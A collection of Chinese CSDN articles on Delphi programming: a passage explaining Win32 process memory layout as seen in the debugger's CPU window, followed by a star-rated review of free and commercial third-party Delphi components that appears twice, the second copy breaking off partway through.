当启动DELPHI时，将自动产生一个Project1的项目，我们就拿它开刀。在Project1.dpr原程序的任意位置设一断点，比如，就在begin一句处设一断点。然后运行程序，当程序运行到断点时会自动停下来。这时，我们就可以打开调试工具中的CPU窗口来观察进程空间的内部结构了。
当前的指令指针寄存器EIP是停在$0043E4B8，从程序指令所在地址的最高两位16进制数都是零，可以看出当前的程序处在4G进程空间相当底端的地址位置，其占据$00000000到$FFFFFFFF的相当少的地址空间。
在CPU窗口中的指令框中，你可以向上查看进程空间中的内容。当查看小于$00400000的空间内容时，你会发现小于$00400000的内容出现一串串的问号“????”，那是因为该地址空间还未映射到实际物理空间的缘故。如果在这时，你查看一下全局变量HInstance的16进制值就会发现它也是$00400000。虽然HInstance反映的是进程实例的句柄，其实，它就是程序被加载到内存中的起始地址值，在16位Windows中也是如此。因此，我们可以认为进程的程序是从$00400000开始加载的，也就是从4G虚拟空间中的4M以后的空间开始是程序加载的空间。
从$00400000往后，到$0044D000之前，主要是程序代码和全局数据的地址空间。在CPU窗口中的堆栈框中，可以查看到当前堆栈的地址。同样，你会发现当前堆栈的地址空间是从$0067B000到$00680000的，长度为$5000。其实，进程最小的堆栈空间大小就是$5000，它是根据编译DELPHI程序时在Project\Options中Linker页中设置的Min stack size值，加上$1000而得到的。堆栈是由高端地址向底端增长的，当程序运行的堆栈不够时，系统将自动向地端地址方向增加堆栈空间的大小，这一过程将把更多的实际内存映射到进程空间。可在编译DELPHI程序时，通过设置Project\Options中Linker页中Max stack size的值，控制可增加的最大堆栈空间。特别是在含有深层次的子程序调用关系或运用递归算法的程序中，一定要合理地设置Max stack size的值。因为，调用子程序是需要耗用堆栈空间，而堆栈耗尽之后，系统就会抛出“Stack overflow”的错误。
似乎，从堆栈空间之后的进程空间就应该是自由的空间了吧。其实不然，WIN32的有关资料说，$80000000之后的2G空间是系统使用的空间。看来，进程能够真正拥有的只有2G空间。其实，进程能真正拥有的空间连2G都不够，因为从$00000000到$00400000的这4M空间也是禁区。
但不管怎样，我们的进程可以使用的地址还是非常广阔的。特别是堆栈空间之后到$80000000之间，是进程空间的主战场。进程从系统分配的内存空间将被映射到这块空间，进程加载的动态连接库将被映射到这块空间，新建线程的线程堆栈空间也将映射到这块空间，几乎所有涉及分配内存的操作都将映射到这块空间。请注意，这里所说的映射，意味着实际内存与这块虚拟空间的对应，没有映射为实际内存的进程空间是无法使用的，就象调试时CPU窗口指令框中的那一串串的“????”。


CSDN_文档中心_Delphi第三方控件大测评

古人云∶“工欲善其事，必先利其器。”

    这句话，我想凡是用Delphi的朋友，应该都有很深切的体会吧。的确，如果Delphi没有了控件的支持，那么人气度一定会大大的降低，不会有现在这样多的Fan了，俺也就改行用BCB或VC了，呵呵。

    但是，现在控件满天飞，不要说DSP(Delphi Super Page)了，光一个深度历险上面的控件就已经洋洋洒洒上万数了，而且每天还在更新，多恐怖啊∶)然而，选择多了以后，烦恼也就随之而来了（呵呵，如果MM也能有那么多让我挑就好了），因为无法一个个的都去试过，所以有许多的优秀控件还不是为人所知，因此我就写下了这篇文章，希望能为大家当个向导，起到一个抛砖引玉的作用吧。

    好了，现在转入正题。首先来大体上为控件分一下类，以方便我们后面的讨论。

    但因为控件的种类太多，所以就粗略的分为如下几个类别∶

    ---界面风格类

    ---Shell外观类

    ---Editor类

    ---Grid类

    ---DB类

    ---Report类

    ---图形类

    ---综合类

    约定的前提是∶All FreeWare,All source.至于那些要花钱购买的商业控件，我将在后面另外进行讨论。对于文中我们所讨论的每一个控件，都会给出一个品质得分，商业控件和免费控件一视同仁，不以价格论高低，而以质量分高下：

    大体的评分标准如下：

    一级棒的超cool控件：

    ★★★★★

    也很不错的控件：

    ★★★★

    虽一般但有特色的控件：★★★

    三颗星以下的控件就不在本文的讨论范围之内了。（☆表示★的效力减半）

    还需要注意的就是，则篇文章旨在向大家推荐一些优秀的第三方控件，文中提及的所有控件都可以在www.Delphiuser.com网站上下载。

    ◆首先，我们先来讨论一下免费的第三方控件（有源代码）：

    ㈠界面风格类------------

    一个优秀的软件应该具有一个优秀的操作界面，我想这应该是不容置疑的。但是用过C/C++写程序的朋友一定会有这样的感叹，作一个美观而又容易上手的界面实在太累了（除了BCB外）。但自从Delphi横空出世之后，这一切就豁然改观了。

    这里我先为大家推荐四套优秀的界面制作控件包。

    1.FlatStyle2.1　　 品质：★★★★★

    ------------------------------------------------------

    评测：

    非常非常棒的界面控件包,什么叫Cool?用过了FaltStyle后,你就知道了:)在最新的2.1版中,FlatStyle作了很大的改动,不但新增了好几个控件,还对源码作了很大幅度的修改,更加有条理了.不过,还是有几个小bug,呵呵,但无伤大雅.AWater自己又在这个基础上,修订了一下,并增添了几个控件,使用的感觉只有一个字可以形容,呵呵,爽呀!强烈推荐!

    2.JLAqua1.0 品质：★★★★

    ----------------------------------------------------

    评测：

    这是一个类Mac OS界面的控件包,如果你对苹果那可人的界面情有独钟的话,这个东东是你最好的选择.绝对的抢眼.但由于是1.0版,AWater用了后觉的还是意犹未尽,好象还是少了点什么.不过已经很不错了呢,向您推荐.

    3.Platinum Controls 品质：★★★☆

    ----------------------------------------------------

    评测：

    又是一个类Mac OS界面的控件包，和上面的JLAqua相比较的话，主要的不同点在于这个控件包所模拟的是一种较为经典的老式的Mac OS风格界面，而JLAqua则比较新潮一些，同时这个控件包所提供的控件种类也比较少，功能也较为单一。但是，还是颇有点特色的，值得推荐。

    4.CoolForm 品质：★★★

    --------------------------------------------------

    评测：

    第一次用这个家伙的时候，还真被它的名字给唬住了，后来仔细一看它的源码，才发现不过如此，其实就是一个作古里古怪的Form的东东而已，不过写得很简洁，功能也不俗，特别是他内带的属性编辑器，写得很有意思，可以根据你所提供的图片而自动的生成Mask图像。呵呵，还算不错的一个控件，用不用随你。

    ㈡Shell外观类-------------

    相信很多朋友在写程序时，并不满足Delphi提供的OpenDialog和SaveDialog吧，有时需要作一个类似资源管理器(Explorer)的东东，而Delphi提供的FileListBox和DirectoryListBox的却又太难看，太简陋。虽然Delphi提供了ShellApi.pas,但自己再从头写一个这样的Component却又太麻烦时，下面的这几个东东可以让你从多余的重复劳动中解放出来。

    1.DFS TSystemTreeView v0.95 Beta 品质：★★★★☆

    -----------------------------------------------------

    评测：

    说起DFS，相信凡是用Delphi的老鸟，一定不会陌生。这个控件可以算得上是精品了，AWater也就不多嚼舌了，但由于是Beta版的缘故吧，还是有些不太稳定，偶尔会出错。所以就只打了四颗星，有点委屈它了呢，呵呵。向您推荐！

    2.LsFileExplorer 2.7 品质：★★★☆

    ---------------------------------------------------

    评测：

    挺不错的一个控件包，唯一可惜的地方是其中的TLsDirTreeCombo部分有一个bug,就是当把TLsDirTreeCombo放在TCoolBar或TControlBar之上时，一旦width有变化，你就会发现TLsDirTreeCombo的ClickButton位置会有严重的错位。呵呵，本来AWater想给它打★★★★☆的，结果就一落千丈啦，满可惜的。如果这个bug能够修正的话，那就很不错了，不过话又说回来，毕竟是免费的吗。还是值得向您推荐。

    ㈢Editor类----------

    有没有这样的感觉呢？Memo太简单，Richedit不好用，版本也太乱，容易出问题。想不想拥有一个象Delphi自带的Editor一样的支持语法高亮，功能又强大的编辑控件呢？请看下面两个东东吧。

    1.mwEdit 0.92a 品质：★★★★★

    -----------------------------------------------------

    评测：

    这个东东可是目前免费控件中的顶级之作，拥有商业控件般的强大功能，同时又开放源代码，可是广大的Delphi程序员的福气呦！有了它，您也能够轻松的写出像Delphi自带的Editor一样的编辑器来，它除了支持Pascal语法的特殊高亮显示之外，还能够支持其它十多种的语法高亮显示。最妙的是，mwEdit居然还能够和数据库连接起来，呵呵。实在是太强大了，向您强烈推荐！

    2.unicode edit 1.0 品质：★★★★☆

    -----------------------------------------------------

    评测：

    这个控件是著名的JEDI项目之一，大体上和上面的mwEdit相似，不过功能还没有它那么强大，但也已经很不错了。特点是内建了超过一百个unicode(WideString）的函数，是不是很恐怖呀？呵呵，向您推荐！

    ㈣Grid类--------

    在现实中的很多数据组织方式非常适合用Grid来表示，尤其是在一个数据量大，信息繁杂的系统中，如果没有Grid control,那将是无法想像的。然而Delphi自带的Grid,不管是StringGrid,还是DrawGrid,或DBGrid,都还嫌不够强大。下面的几个Grid控件也许会让你感到兴奋的。

    1.TStringAlignGrid 2.0 品质：★★★★

    -----------------------------------------------------

    评测：

    这个控件虽然是个免费的东东，但是可以看出作者还是很用心的。功能不能说非常强大，但却够用，只要你不是做什么特别的东西，这个控件绝对是你最好的选择。而且附带了一份详细的help文件，值得推荐。

    ㈤DB类------

    这方面好像没有什么特别突出的免费控件，挑来捡去的，就只找到这一个，呵呵。

    1.TkbmMEMTABLE v. 2.33 品质：★★★★

    ---------------------------------------------------

    评测：

    一个不错的内存表控件。如果你正急需这方面的控件的话，就试试吧。值得推荐。

    ㈥Report类----------

    说到报表，许多朋友的心里一定会翻涌起种莫名的滋味吧。在品尝过QuickReport带来的尴尬之后，寻找一个优秀的，功能出众的报表控件就一直是我们孜孜以求的，下面为大家推荐两个非常优秀的报表控件，而且还都是我们国人自己开发的，呵呵，掌声欢迎：

    1.eReport 品质：★★★★☆

    -----------------------------------------------------

    评测：

    非常优秀的报表控件，完全为了中国的报表格式所设计，同时内带一个报表编辑器，工作模式类似于套打，本来用QuickReport需要干一个月的活，用eReport三天就可以搞定了，呵呵。不过，需要指出的是，eReport现在还不能支持报表嵌套，这不能不说是一种遗憾。（居作者王寒松自己说，报表嵌套的部分本来是已经写好了的，可惜不当心给搞丢了，后来也就一直没有写下去了。呜呜呜呜......）

    2.rmachine 品质：★★★★

    -----------------------------------------------------

    评测：

    说起这个东东，可能知道的人并不是很多。但说起FastReport，相信大家应该都有所耳闻吧。这个控件就是在著名的FastReport的基础上发展起来的，修正了一些Bug,增强了许多功能。挺不错的，呵呵。推荐！

    ㈦图形类--------

    应该说图形类控件范围太大，从一般的Image到Chart,还有各种各样的Effect.内容实在太多太广，我就简单的挑几个最有特色的介绍个大家吧。

    1.FastLib 品质：★★★★★

    -----------------------------------------------------

    评测：

    非常非常优秀的图形库，提供了大量的图形处理函数，功能之强大甚至连一些商业控件都自愧不如。用它作出的各种的图形特效，呵呵，只能说一个绝字。向您强烈推荐！

    2.GLScene(OpenGL Component) 品质：★★★★☆

    -----------------------------------------------------

    评测：

    有没有试过这样写OpenGL程序：选一个模型，然后为它添加灯光，纹理。实时调整大小，位置。不满意？就换一个模型，重来一次。一切好像不是在写程序，而好像在3DSMax中现场编辑的感觉一样。怎么样，奇妙吧，还不快去试试。呵呵，向您强烈推荐！

    3.TPicShow v2.3 品质：★★★★☆

    -----------------------------------------------------

    评测：

    这个小东东，提供了一百二十二种的图形特效，而且效率也不错。剩去了你的大量查书，编码的时间，快来试试吧，给你的程序里的图形加上些切换特效，让你的用户啧啧称赞你的程序界面。呵呵，向您强烈推荐！

    ㈧综合类--------

    综合类的控件包，就是指那些囊括了各种类型的控件的大杂烩，下面为大家列举几个免费控件中优秀的综合类控件包：

    1.RxLib 2.75 品质：★★★★☆

    -----------------------------------------------------

    评测：

    说起这个家伙，大家应该早巳如雷贯耳了吧？呵呵，所以AWater就不多说了，可别告诉我说你还不知道，向您强烈推荐！

    2.RALib 1.52a 品质：★★★★★

    -----------------------------------------------------

    评测：

    这个东东和RxLib虽然名字差了一个字，但功能却比RxLib还要强，只不过在国内的知名度没有RxLib那么响罢了，去试试吧，保证你会惊喜万分的。向您强烈推荐！

    3.DevExpress Forum Library 2.0 品质：★★★★☆

    -----------------------------------------------------

    这个控件包是著名的Delphi控件厂商Developer Express出品的一套免费且有源代码的扩件包。秉承Developer Express的一贯风格，这个控件包处处透露出一股“贵族”的味道，其中包含了许多的优秀控件，给人的感觉可一点都不像是免费的控件，如果你看一下它的源码，更有这种感觉，条理清晰，结构合理。不愧是名家出手。呵呵。不过，这么好的东东也不是随便就能得到的，首先得参加Developer Express的Forum,在他们那儿注册之后（当然是免费的），才可以得到。快去注册吧。强烈推荐！

    好了，看过了上面的这些免费的第三方控件之后，下面让我们来看一下商业控件的情形吧，我们同样也把商业控件分成8个类别，进行一下评测，来和前面推荐的免费的控件来比一比看，到底是谁利害，商业控件可不一定能全占优呢！

    ◆商业控件（可是要花钱去买的哟）：

    ㈠界面风格类------------

    1.DevExpress Bars 3.1 品质：★★★★★

    -----------------------------------------------------

    评测：

    是由著名的Delphi控件厂商Developer Express出品的类Word2000界面的控件组。功能之强大，界面之华丽，呵呵，简直是一言难尽呀。我甚至都有些怀疑Dephi的菜单和工具栏就是用这个东东作的。实在太cool了，相比之下，免费的ToolBar97，简直就成了鸡胁，食之无味啊。呵呵，如果你想作出一个精美的流行界面，这是你最好的选择，而且也能剩下你的大量重复劳动时间。强烈推荐！！！

    2.ExtarPack 1.5 品质：★★★★★

    -----------------------------------------------------

    评测：

    如果你想把自已的程序界面作很另类的话，这个东东就是最好的选择了，呵呵。可以把你的程序武装到牙齿，如果别人不知到的话，肯定以为你再用一个什么的新式操作系统呢。呵呵，想给别人一个惊喜吗，就用ExtarPack吧。会让你满意的很。不过，我可要事先提醒你，这个东东的耗费系统资源量也不小哟。强烈推荐！

    3.FormContainer 1.5 品质：★★★★★

    -----------------------------------------------------

    你不会没用过Delphi自带的TeeChart吧，这个东东就是出TeeChart的那个公司的两个程序员写的，质量吗，呵呵，一级棒的呢。绝对不给TeeChart丢脸。知道一个人为什么会在电脑面前傻傻的发呆吗？多半是看到了用FormContainer写的程序了。呵呵。真的绝了，绝对经典的界面风格，让你意想不到的一种惊喜。AWater很配服能写出这个控件的程序员，非常了不起。可惜搞不到源码，不然一定要好好研究一下。向您强烈推荐！！

    ㈡Shell外观类-------------

    1.Shell Control Pack VCL v1.5 品质：★★★★★

    -----------------------------------------------------

    评测：

    关于这个控件，AWater也就不想多费话了。只想说一句：用着的感觉就好像在用资源管理器(Explorer)一样。呵呵，非常非常的棒。向您强烈推荐！！

    ㈢Editor类----------

    1.Dream Memo 3.1 品质：★★★★☆

    -----------------------------------------------------

    评测：

    著名的Delphi控件厂商“梦之队”Dream Company出品的强大的编辑控件。应该说各方面都非常优秀。至少在AWater没有使用mwEdit之前一至认为它是最好的，现在吗，嘿嘿，最好的当然就论不到它了。不过，的确非常强大，可惜这个东东写的太庞杂。所以吗，Bug也比较多。但还是值得向您推荐的。

    2.PlusMemo 5.2 品质：★★★★☆

    -----------------------------------------------------

    评测：

    这个控件可是元老了，功能强大。很有特色。很有自已的风格，也支持数据感应。而且作的也很小巧。非常不错。向您强烈推荐！！

    ㈣Grid类--------

    1.DevExpress ExpressQuantumGrid 2.1 品质：★★★★★

    -----------------------------------------------------

    评测：

    又是由著名的Delphi控件厂商Developer Express出品的超级Grid控件。主要应用于数据库的操作使用方面。功能强悍，有许多的“独门武功”。呵呵，如果借用围棋的段位来评分的话，这个控件的水平恐怕还在九段之上。堪称超一流。就算是同样的商业控件中，在操作数据库方面，比ExpressQuantumGrid强的恐怕还没生出来。如果再配上同门所出的dxTreeList，dxPrintSystem，可真的是打遍天下无敌手了。而且是百分之一百的纯VCL写成的。是不是COOL呆了，呵呵。向您强烈推荐！！！！！

    2.TopGrid 2.01 品质：★★★★★

    -----------------------------------------------------

    评测：

    这个控件虽然在操作数据库功能方面没有像前面的DevExpress ExpressQuantumGrid那样犀利。但它却适应面很广，可以胜任StringGrid，DrawGrid，DBGrid的所有工作，不像ExpressQuantumGrid只适用于数据库操作。而且TopGrid的界面非常的Cool，有点像PowerBuild里的DataWindow的感觉，而且是更加美观。功能十分灵活，可以非常方便的操作Grid中的每一个Cell，唯一的缺点是编译出来的EXE文件大了点，不过用ASPack压一下就可以两全了，呵呵。向您强烈推荐！！！

    3.XLGrid 1.62 品质：★★★★★

    -----------------------------------------------------

    评测：

    用这个控件让我想起了MS的Excel，呵呵。强大，强大，还是强大。可惜不支持数据库操作。在它的主页上有预发布2.0的实现功能计划书，AWater看了后，大流口水，太Cool了，可惜还没发布。不过这个1.62版的，巳经很爽了。向您强烈推荐！！！

    ㈤DB类------

    实在太多太多了，从高端的ASTA到性能全面的DBISAM，从DAO到Topaz，还有大名鼎鼎的InfoPower,实在是太多了，而且个个都是五星级的。AWater就不写了，反正这方面，是商业控件全面胜出。呵呵。

    ㈥Report类----------

    1.ReportBuilder 5.0 品质：★★★★★

    -----------------------------------------------------

    评测：

    非常非常强大的报表控件，不要问我它到底强大到如何程度，因为这估计得整整写上五六千字才能向你介绍清楚。如果你正在为手头缺少一个功能强大，适用面广报表控件时，那么就只有它了，这是你最好的选择。可以说，只要你想得到，它基本都作到的。向您强烈推荐！！！

    2.HTMLReport 品质：★★★★☆

    -----------------------------------------------------

    评测：

    放上这个东东，可能有凑数之嫌。不能说功能非常非常强大。但你看它的名字，里面有个非常时兴的字眼：HTML。呵呵，对了，它就是作这个用的。如果你有这方面的需要，找它就没错了。总体性能也很不错。当然还没有强大到像上面那个REportBuilder一样恐怖。向您强烈推荐！！

    ㈦图形类--------

    1.Pegasus公司的系列图形控件 品质：★★★★★

    -----------------------------------------------------

    评测：

    Pegasus公司出品过许多知名的图形控件，比如像FXTools，ImagN’之类大家都早巳有所耳闻的超级控件。如果你对图形处理方面有较为高的要求，则应该考虑一下Pegasus 公司出品的这些一流的控件。可不是一般的免费控件可以替代的哟。向您强烈推荐！！

    ㈧综合类--------

    综合类的我就不写测评了，反正无论是恐龙级的LMD，AHM2000，还是RZLIB，或是精致的1stClass。强大的功能和繁多的控件，都不是免费的控件包可以相提并论的，用的时侯，唯一让我担心的，就是我倒底该用哪一个好呢？呵呵，这岂不也是一种烦恼吗:)

    比较之下，我想大家心里都有了一个底了吧。在以上免费控件和商业控件的共八个大类的评测下，应该说商业控件占了绝对的优势，只除了一个Editor类，免费控件可以和商业控件一较高下之外，其余的都是有一定的差距。特别是在DB类方面，免费控件一方死的最残，呵呵。不过话说回来，天下到底没有白吃的午餐，好东西总还是要花钱去买的吗。但是，最后我们可以得出这样一个结论，虽然商业控件功能强大，品质优秀。但是，在你没有哪么多的资金去购买，或你对程序的某方面性能要求并不是非常苛刻时，你完全可以考虑使用一些优秀的第三方免费控件，或以之为蓝本在这个基础上进行二次开发，来达到你的设计要求，这也是一个非常不错，而且也很省钱的方案吧:)

    从上面的论述中，大家应该可以了解到了一些关于delphi的第三方控件的资料了，不过AWater在这里要提醒大家的是，控件虽好，但也不能滥用。更不能什么都依靠控件，一个好的程序员，不但要会用，更要会自己写。有空多研究一下优秀控件的源码，对水平的提高是大有帮助的，也能更加深入的理解面向对象编程的机制。希望有朝一日，我们中国人也能写出像delphi的优秀程序来，让满世界的老外为我们来开发第三方的控件，呵呵呵.....


CSDN_文档中心_Delphi第三方控件全面评比介绍（玉笛书生）

Delphi第三方控件全面评比介绍

古人云∶“工欲善其事，必先利其器。”
这句话，我想凡是用Delphi的朋友，应该都有很深切的体会吧。的确，如果Delphi没有了控件的支持，那么人气度一定会大大的降低，不会有现在这样多的Fan了，俺也就改行用 BCB或VC了，呵呵。
但是，现在控件满天飞，不要说DSP(Delphi Super Page)了，光一个深度历险上面的控件就已经洋洋洒洒上万数了，而且每天还在更新，多恐怖啊∶) 然而，选择多了以后，烦恼也就随之而来了（呵呵，如果MM也能有那么多让我挑就好了），因为无法一个个的都去试过，所以有许多的优秀控件还不是为人所知，因此我就写下了这篇文章，希望能为大家当个向导，起到一个抛砖引玉的作用吧。
好了，现在转入正题。首先来大体上为控件分一下类，以方便我们后面的讨论。
但因为控件的种类太多，所以就粗略的分为如下几个类别∶

---界面风格类
---Shell外观类
---Editor类
---Grid类
---DB类
---Report类
---图形类
---综合类

约定的前提是∶All FreeWare,All source.至于那些要花钱购买的商业控件，我将在后面另外进行讨论。对于文中我们所讨论的每一个控件，都会给出一个品质得分，商业控件和免费控件一视同仁，不以价格论高低，而以质量分高下：

大体的评分标准如下： 一级棒的超cool控件： ★★★★★
                            也很不错的控件： ★★★★
                            虽一般但有特色的控件： ★★★

三颗星以下的控件就不在本文的讨论范围之内了。（☆表示★的效力减半）

◆首先，我们先来讨论一下免费的第三方控件（有源代码）：

㈠界面风格类
------------
一个优秀的软件应该具有一个优秀的操作界面，我想这应该是不容置疑的。但是用过C/C++写程序的朋友一定会有这样的感叹，作一个美观而又容易上手的界面实在太累了（除了BCB外）。但自从Delphi横空出世之后，这一切就豁然改观了。
这里我先为大家推荐四套优秀的界面制作控件包。

1.FlatStyle2.1 　　 品质：★★★★★
------------------------------------------------------
评测：
非常非常棒的界面控件包,什么叫Cool?用过了FaltStyle后,你就知道了:)在最新的2.1版中,FlatStyle作了很大的改动,不但新增了好几个控件,还对源码作了很大幅度的修改,更加有条理了.不过,还是有几个小bug,呵呵,但无伤大雅.AWater自己又在这个基础上,修订了一下,并增添了几个控件,使用的感觉只有一个字可以形容,呵呵,爽呀!强烈推荐!

2.JLAqua1.0 品质：★★★★
----------------------------------------------------
评测：
这是一个类Mac OS界面的控件包,如果你对苹果那可人的界面情有独钟的话,这个东东是你最好的选择.绝对的抢眼.但由于是1.0版,AWater用了后觉的还是意犹未尽,好象还是少了点什么.不过已经很不错了呢,向您推荐.

3.Platinum Controls 品质：★★★☆
----------------------------------------------------
评测：
又是一个类Mac OS界面的控件包，和上面的JLAqua相比较的话，主要的不同点在于这个控件包所模拟的是一种较为经典的老式的Mac OS风格界面，而JLAqua则比较新潮一些，同时这个控件包所提供的控件种类也比较少，功能也较为单一。但是，还是颇有点特色的，值得推荐。

4.CoolForm 品质：★★★
--------------------------------------------------
评测：
第一次用这个家伙的时候，还真被它的名字给唬住了，后来仔细一看它的源码，才发现不过如此，其实就是一个作古里古怪的Form的东东而已，不过写得很简洁，功能也不俗，特别是他内带的属性编辑器，写得很有意思，可以根据你所提供的图片而自动的生成Mask图像。呵呵，还算不错的一个控件，用不用随你。

㈡Shell外观类
-------------
相信很多朋友在写程序时，并不满足Delphi提供的OpenDialog和SaveDialog吧，有时需要作一个类似资源管理器(Explorer)的东东，而Delphi提供的FileListBox和DirectoryListBox的却又太难看，太简陋。虽然Delphi提供了ShellApi.pas,但自己再从头写一个这样的Component却又太麻烦时，下面的这几个东东可以让你从多余的重复劳动中解放出来。

1.DFS TSystemTreeView v0.95 Beta 品质：★★★★☆
-----------------------------------------------------
评测：
说起DFS，相信凡是用Delphi的老鸟，一定不会陌生。这个控件可以算得上是精品了，AWater也就不多嚼舌了，但由于是Beta版的缘故吧，还是有些不太稳定，偶尔会出错。所以就只打了四颗星，有点委屈它了呢，呵呵。向您推荐！

2.LsFileExplorer 2.7 品质：★★★☆
---------------------------------------------------
评测：
挺不错的一个控件包，唯一可惜的地方是其中的TLsDirTreeCombo部分有一个bug,就是当把TLsDirTreeCombo放在TCoolBar或TControlBar之上时，一旦width有变化，你就会发现TLsDirTreeCombo的ClickButton位置会有严重的错位。呵呵，本来AWater想给它打★★★★☆的，结果就一落千丈啦，满可惜的。如果这个bug能够修正的话，那就很不错了，不过话又说回来，毕竟是免费的吗。还是值得向您推荐。

㈢Editor类
----------
有没有这样的感觉呢？Memo太简单，Richedit不好用，版本也太乱，容易出问题。想不想拥有一个象Delphi自带的Editor一样的支持语法高亮，功能又强大的编辑控件呢？请看下面两个东东吧。

1.mwEdit 0.92a 品质：★★★★★
-----------------------------------------------------
评测：
这个东东可是目前免费控件中的顶级之作，拥有商业控件般的强大功能，同时又开放源代码，可是广大的Delphi程序员的福气呦！有了它，您也能够轻松的写出像Delphi自带的Editor一样的编辑器来，它除了支持Pascal语法的特殊高亮显示之外，还能够支持其它十多种的语法高亮显示。最妙的是，mwEdit居然还能够和数据库连接起来，
呵呵。实在是太强大了，向您强烈推荐！

2.unicode edit 1.0 品质：★★★★☆
-----------------------------------------------------
评测：
这个控件是著名的JEDI项目之一，大体上和上面的mwEdit相似，不过功能还没有它那么强大，但也已经很不错了。特点是内建了超过一百个unicode(WideString）的函数，是不是很恐怖呀？呵呵，向您推荐！

㈣Grid类
--------
在现实中的很多数据组织方式非常适合用Grid来表示，尤其是在一个数据量大，信息繁杂的系统中，如果没有Grid control,那将是无法想像的。然而Delphi自带的Grid,不管是StringGrid,还是DrawGrid,或DBGrid,都还嫌不够强大。下面的几个Grid控件也许会让你感到兴奋的。

1.TStringAlignGrid 2.0 品质：★★★★
-----------------------------------------------------
评测：
这个控件虽然是个免费的东东，但是可以看出作者还是很用心的。功能不能说非常强大，但却够用，只要你不是做什么特别的东西，这个控件绝对是你最好的选择。而且附带了一份详细的help文件，值得推荐。

㈤DB类
------
这方面好像没有什么特别突出的免费控件，挑来捡去的，就只找到这一个，呵呵。

1.TkbmMEMTABLE v. 2.33 品质：★★★★
---------------------------------------------------
评测：
一个不错的内存表控件。如果你正急需这方面的控件的话，就试试吧。值得推荐。

㈥Report类
----------
说到报表，许多朋友的心里一定会翻涌起种莫名的滋味吧。在品尝过QuickReport带来的尴尬之后，寻找一个优秀的，功能出众的报表控件就一直是我们孜孜以求的，下面为大家推荐两个非常优秀的报表控件，而且还都是我们国人自己开发的，呵呵，掌声欢迎：

1.eReport 品质：★★★★☆
-----------------------------------------------------
评测：
非常优秀的报表控件，完全为了中国的报表格式所设计，同时内带一个报表编辑器，工作模式类似于套打，本来用QuickReport需要干一个月的活，用eReport三天就可以搞定了，呵呵。不过，需要指出的是，eReport现在还不能支持报表嵌套，这不能不说是一种遗憾。（居作者王寒松自己说，报表嵌套的部分本来是已经写好了的，可惜不当心给搞丢了，后来也就一直没有写下去了。呜呜呜呜......）

2.rmachine 品质：★★★★
-----------------------------------------------------
评测：
说起这个东东，可能知道的人并不是很多。但说起FastReport，相信大家应该都有所耳闻吧。这个控件就是在著名的FastReport的基础上发展起来的，修正了一些Bug,增强了许多功能。挺不错的，呵呵。推荐！

㈦图形类
--------
应该说图形类控件范围太大，从一般的Image到Chart,还有各种各样的Effect.内容实在太多太广，我就简单的挑几个最有特色的介绍个大家吧。

1.FastLib 品质：★★★★★
-----------------------------------------------------
评测：
非常非常优秀的图形库，提供了大量的图形处理函数，功能之强大甚至连一些商业控件都自愧不如。用它作出的各种的图形特效，呵呵，只能说一个绝字。向您强烈推荐！

2.GLScene(OpenGL Component) 品质：★★★★☆
-----------------------------------------------------
评测：
有没有试过这样写OpenGL程序：选一个模型，然后为它添加灯光，纹理。实时调整大小，位置。不满意？就换一个模型，重来一次。一切好像不是在写程序，而好像在3DSMax中现场编辑的感觉一样。怎么样，奇妙吧，还不快去试试。呵呵，向您强烈推荐！

3.TPicShow v2.3 品质：★★★★☆
-----------------------------------------------------
评测：
这个小东东，提供了一百二十二种的图形特效，而且效率也不错。剩去了你的大量查书，编码的时间，快来试试吧，给你的程序里的图形加上些切换特效，让你的用户啧啧称赞你的程序界面。呵呵，向您强烈推荐！

㈧综合类
--------
综合类的控件包，就是指那些囊括了各种类型的控件的大杂烩，下面为大家列举几个免费控件中优秀的综合类控件包：

1.RxLib 2.75 品质：★★★★☆
-----------------------------------------------------
评测：
说起这个家伙，大家应该早巳如雷贯耳了吧？呵呵，所以AWater就不多说了，可别告诉我说你还不知道，向您强烈推荐！

2.RALib 1.52a 品质：★★★★★
-----------------------------------------------------
评测：
这个东东和RxLib虽然名字差了一个字，但功能却比RxLib还要强，只不过在国内的知名度没有RxLib那么响罢了，去试试吧，保证你会惊喜万分的。向您强烈推荐！

3.DevExpress Forum Library 2.0 品质：★★★★☆
-----------------------------------------------------
这个控件包是著名的Delphi控件厂商Developer Express出品的一套免费且有源代码的扩件包。秉承Developer Express的一贯风格，这个控件包处处透露出一股“贵族”的味道，其中包含了许多的优秀控件，给人的感觉可一点都不像是免费的控件，如果你看一下它的源码，更有这种感觉，条理清晰，结构合理。不愧是名家出手。呵呵。不过
，这么好的东东也不是随便就能得到的，首先得参加Developer Express的Forum,在他们那儿注册之后（当然是免费的），才可以得到。快去注册吧。强烈推荐！

好了，看过了上面的这些免费的第三方控件之后，下面让我们来看一下商业控件的情形吧，我们同样也把商业控件分成8个类别，进行一下评测，来和前面推荐的免费的控件来比一比看，到底是谁利害，商业控件可不一定能全占优呢！

◆商业控件（可是要花钱去买的哟）：

㈠界面风格类
------------
1.DevExpress Bars 3.1 品质：★★★★★
-----------------------------------------------------
评测：
是由著名的Delphi控件厂商Developer Express出品的类Word2000界面的控件组。功能之强大，界面之华丽，呵呵，简直是一言难尽呀。我甚至都有些怀疑Dephi的菜单和工具栏就是用这个东东作的。实在太cool了，相比之下，免费的ToolBar97，简直就成了鸡胁，食之无味啊。呵呵，如果你想作出一个精美的流行界面，这是你最好的选择，
而且也能剩下你的大量重复劳动时间。强烈推荐！！！

2.ExtarPack 1.5 品质：★★★★★
-----------------------------------------------------
评测：
如果你想把自已的程序界面作很另类的话，这个东东就是最好的选择了，呵呵。可以把你的程序武装到牙齿，如果别人不知到的话，肯定以为你再用一个什么的新式操作系统呢。呵呵，想给别人一个惊喜吗，就用ExtarPack吧。会让你满意的很。不过，我可要事先提醒你，这个东东的耗费系统资源量也不小哟。强烈推荐！

3.FormContainer 1.5 品质：★★★★★
-----------------------------------------------------
你不会没用过Delphi自带的TeeChart吧，这个东东就是出TeeChart的那个公司的两个程序员写的，质量吗，呵呵，一级棒的呢。绝对不给TeeChart丢脸。知道一个人为什么会在电脑面前傻傻的发呆吗？多半是看到了用FormContainer写的程序了。呵呵。真的绝了，绝对经典的界面风格，让你意想不到的一种惊喜。AWater很配服能写出这个控件的程序员，非常了不起。可惜搞不到源码，不然一定要好好研究一下。向您强烈推荐！！

㈡Shell外观类
-------------
1.Shell Control Pack VCL v1.5 品质：★★★★★
-----------------------------------------------------
评测：
关于这个控件，AWater也就不想多费话了。只想说一句：用着的感觉就好像在用资源管理器(Explorer)一样。呵呵，非常非常的棒。向您强烈推荐！！

㈢Editor类
----------

1.Dream Memo 3.1 品质：★★★★☆
-----------------------------------------------------
评测：
